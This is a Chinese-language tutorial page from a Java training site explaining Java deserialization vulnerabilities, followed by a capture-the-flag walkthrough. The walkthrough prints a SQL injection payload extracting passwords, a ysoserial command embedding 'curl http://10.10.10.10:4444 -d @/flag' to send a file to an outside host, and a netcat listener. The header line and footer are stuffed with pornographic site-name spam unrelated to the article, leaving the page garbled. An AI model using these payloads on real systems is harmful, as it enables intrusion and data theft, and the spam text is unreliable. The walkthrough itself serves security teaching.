大战熟女丰满人妻av-荡女精品导航-岛国aaaa级午夜福利片-岛国av动作片在线观看-岛国av无码免费无禁网站-岛国大片激情做爰视频

專注Java教育14年 全國咨詢/投訴熱線:400-8080-105
動力節點LOGO圖
始于2009,口口相傳的Java黃埔軍校
首頁 學習攻略 Java學習 簡述Java反序列化漏洞

簡述Java反序列化漏洞

更新時間:2022-06-29 10:40:37 來源:動力節點 瀏覽1897次

Java反序列化漏洞是什么?動力節點小編來告訴大家。

漏洞原理

我們需要保存某一個對象的某一一個時間的狀態信息,進行一些操作,比如利用反序列化將程序運行的對象狀態以二進制形式儲存在文件系統中,然后可以在另外一個程序中對序列化后的對象狀態數據進行反序列化操作回復對象,可以有效的實現多平臺之間的通信,對象持久化儲存。

漏洞必備知識點

1.序列化和反序列化

序列化 (Serialization):將對象的狀態信息轉換為可以存儲或傳輸的形式的過程。在序列化期間,對象將其當前狀態寫入到臨時或持久性存儲區。

反序列化:從存儲區中讀取該數據,并將其還原為對象的過程,稱為反序列化。

2.必備知識點:

JAVA序列化接口實現函數:

序列化:ObjectOutputStream–writeObject() 將序列字節寫到對象中 JAVA約定是給文件.ser拓展名

反序列化:ObjectInputStream–readOject() 從輸入流中讀取字節序列,再將其反序列化,返回

3.JAVA序列化數據流特征:

加密便于傳輸,不加密不容易閱讀傳輸,

數據流以為rO0AB開端,就是JAVA序列化的base64 加密

aced開端,JAVA序列化的16進制

涉及到以下函數,則考慮JAVA反序列化:

ObjectInputStream.readobject

ObjectInputStream.readUnshared

XMLDecoder.readObject

XStream.fromXML

ObjectMapper.readValue

JSON.parseObject …

漏洞檢測利用

1.黑盒檢測

數據格式點:

HTTP中請求的參數

自定義協議

RMI協議:RMI使用Java語言 接口 定義了遠程對象,它集合了Java序列化和Java遠程方法協議 ,簡單地說,這樣使原先的程序在同一操作系統的方法調用,變成了不同操作系統之間程序的方法調用,由于J2EE是分布式程序平臺,它以RMI機制實現程序組件在不同操作系統之間的通信。

2.白盒檢測

函數點:

涉及到下列函數可能設計JAVA反序列化

ObjectInputStream.readobject

ObjectInputStream.readUnshared

XMLDecoder.readObject

XStream.fromXML

ObjectMapper.readValue

JSON.parseObject …

3.利用

這里推薦一款只要涉及到JAVA反序列化一定會遇到的ysoserial

ysoserial是一款在Github開源的知名java反序列化利用工具,里面集合了各種java反序列化payload;

由于其中部分payload使用到的低版本JDK中的類,所以建議自己私下分析學習時使用低版本JDK JDK版本建議在1.7u21以下。

漏洞真題

1.注入判斷,獲取管理員帳號密碼:

根據提示附件進行javaweb代碼審計,發現可能存在注入漏洞

另外有swagger開發接口,測試注入漏洞及訪問接口進行調用測試

數據庫名:myapp,列名name,pwd

注入測試:

POST /common/test/sqlDict
dbName=myapp?a=’ union select (select pwd from user)#

2.接口測試

/swagger-ui.html接口測試:

{
“password”:“ctfhub_29588_13038”,
“username”: “ctfhub”
}

登錄成功返回數據:

{
“data”: “Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==”,
“msg”: “登錄成功”,
“status”: 2,
“timestamps”: 1594549037415
}

3.回顯數據分析攻擊思路

JAVAWEB特征可以作為序列化的標志參考:

一段數據以rO0AB開頭,你基本可以確定這串就是JAVA序列化base64加密的數據。

或者如果以aced開頭,那么就是這一段java序列化的16進制。

分析數據:

先利用py2腳本base64解密數據

import base64
a = “rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu”
b = base64.b64decode(a).encode(‘hex’)
print(b)

再利用SerializationDumper解析數據

java -jar SerializationDumper.jar base64后的數據

4.生成反序列化payload

解密后數據中包含帳號等信息,通過接口/common/user/current分析可知數據有接受,說明存在反序列化操作,思路:將惡意代碼進行序列化后進行后續操作

利用ysoserial進行序列化生成

java -jar ysoserial-master-30099844c6-1.jar ROME “curl http://10.10.10.10:4444 -d @/flag” > xiaodi.bin #準備服務器反彈shell

利用py2腳本進行反序列化數據的提取

import base64
file = open(“xiaodi.bin”,“rb”)
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()

5.觸發反序列化,獲取flag

服務器執行:nc -lvvp 4444

數據包直接請求獲取進行反序列數據加載操作

以上是題目思路,最重要最基礎的一點需要知道JAVA反序列化數據流特征,以及相關函數。感興趣的小伙伴也可以看看Java反序列化工具,希望對大家能夠有所幫助。

提交申請后,顧問老師會電話與您溝通安排學習

免費課程推薦 >>
技術文檔推薦 >>
主站蜘蛛池模板: 黄色毛片免费观看 | 夜夜做夜夜爽 | 综合色播 | 久久精品一区二区三区不卡牛牛 | 欧美xxx视频 | 99精品久久久久久久婷婷 | 日本久久久久中文字幕 | 99久久精品免费观看区一 | 国产一区二区三区四区在线 | 欧美日韩亚洲精品国产色 | 夜色成人影院在线www | 国产色综合天天综合网 | 亚洲久久草| 国产成人综合95精品视频免费 | 羞羞网站免费观看 | 香蕉人精品视频多人免费永久视频 | 天天操免费视频 | 色女影院 | 欧美宗合网| 亚洲日本欧美日韩高观看 | 亚洲精品成人7777在线观看 | 四虎最新永久免费视频 | 日韩一区二区三区不卡视频 | 深夜在线免费 | 大香伊人久久 | 久久久久夜色精品波多野结衣 | 欧美一级毛片片免费孕妇 | 国产一级淫片a视频免费观看 | 日本一级大毛片a一 | 国产成人免费观看在线视频 | 精品福利国产 | 色综合天天综一个色天天综合网 | 亚洲欧美国产精品专区久久 | www.四虎在线 | 4hutv四虎最新地址 | 欧美jizzhd欧美巨大 | 四虎永久免费网站 | 九色视屏| 日本欧洲亚洲一区在线观看 | 精品国产一区二区在线观看 | 青青青青青国产免费观看 |